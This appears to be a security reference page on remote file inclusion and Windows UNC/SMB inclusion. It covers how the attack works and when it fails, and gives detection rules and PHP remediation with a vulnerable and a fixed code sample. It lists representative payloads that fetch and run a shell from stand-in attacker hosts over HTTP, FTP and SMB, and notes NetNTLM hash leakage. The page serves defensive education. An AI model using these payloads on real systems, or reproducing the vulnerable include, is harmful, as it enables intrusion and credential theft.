Remote file inclusion (RFI) and UNC/SMB inclusion
Remote file inclusion payloads make a vulnerable include fetch code from an attacker-controlled URL (http://evil/shell.txt) so it runs on the target — the remote cousin of LFI and a direct path to RCE. On PHP it requires allow_url_include; on Windows, UNC paths (\\attacker\share\shell.php) achieve the same over SMB even without URL wrappers.
How it works
When user input reaches include/require and the runtime is allowed to open remote URLs, the attacker hosts a PHP payload and supplies its URL. include downloads and executes it in the target's context — full RCE from a single parameter.
On PHP this needs allow_url_include=On (and allow_url_fopen=On). The hosted file usually carries a non-.php extension (shell.txt) so the attacker's own server returns the source rather than executing it; the target then runs it. A trailing ? can absorb an appended extension on the target.
On Windows, even without URL wrappers, a UNC path like \\attacker-ip\share\shell.php causes the server to fetch the file over SMB and include it — and the SMB handshake also leaks the machine's NetNTLM hash, useful for relay or cracking.
When it works and when it fails
Works when
- User input reaches include/require and, on PHP, allow_url_include=On.
- The target can reach the attacker's host (outbound HTTP, or SMB egress for UNC).
- No allowlist constrains the include target.
Fails when
- allow_url_include=Off (the modern default) blocks http(s):// includes on PHP.
- Egress filtering prevents the target from reaching the attacker's server/share.
- Input is allowlisted so no remote path reaches include.
Representative payloads
Adapt these to your authorized target; they are shown in canonical form. Payloads are never translated.
http://attacker.example/shell.txtAny OSRemoteClassic RFI: the target downloads and executes the hosted PHP. Host it with a non-PHP extension so your own server serves the source. Requires allow_url_include=On.
http://attacker.example/shell.txt?Any OSRemoteThe trailing ? turns an appended extension on the target into a query string, so shell.txt is fetched intact.
\\attacker-ip\share\shell.phpWindowsRemoteWindows UNC inclusion over SMB — executes the remote file without URL wrappers and leaks the server's NetNTLM hash on connect.
ftp://attacker.example/shell.txtAny OSRemoteFTP wrapper variant used when HTTP egress is filtered but FTP is permitted; still requires allow_url_include.
Detection
In logs
- Parameters whose value is a URL (http://, https://, ftp://) or a UNC path (\\host\share).
- Outbound HTTP/SMB connections from the web server to unexpected external hosts right after such a request.
- Included filenames pointing off-host rather than to a local path.
In code
- User input reaching include/require with allow_url_include/allow_url_fopen enabled.
- No allowlist between the request and the include target.
- Windows hosts allowing outbound SMB and passing user paths to include/filesystem calls.
Detection rule: Alert on URL or UNC values in file parameters and on web-server egress to new external hosts/SMB immediately following; both together are high-confidence.
Remediation
- Set allow_url_include=Off and allow_url_fopen=Off unless explicitly required — this blocks http(s)/ftp RFI on PHP.
- Never pass user input to include/require; resolve a key through an allowlist to fixed local files.
- Reject input containing a URL scheme or a UNC/\\ prefix; restrict outbound egress (no arbitrary HTTP, block outbound SMB) with a firewall.
- On Windows, block outbound SMB (ports 139/445) to stop UNC inclusion and NetNTLM hash leakage.
Vulnerable (php)
include($_GET['module']); // http://attacker/shell.txtFixed
// php.ini: allow_url_include=Off, allow_url_fopen=Off
$modules = ['stats' => 'stats.php', 'help' => 'help.php'];
$key = (string) ($_GET['module'] ?? 'help');
if (!isset($modules[$key])) { http_response_code(404); exit; }
include __DIR__ . '/modules/' . $modules[$key];allow_url_include=Off plus an allowlist removes both URL and UNC inclusion.
FAQ
- How is RFI different from LFI?
- LFI includes a file already on the server; RFI pulls the file from a remote location the attacker controls. RFI gives code execution more directly but needs allow_url_include (PHP) or SMB egress (Windows UNC), which are usually disabled today.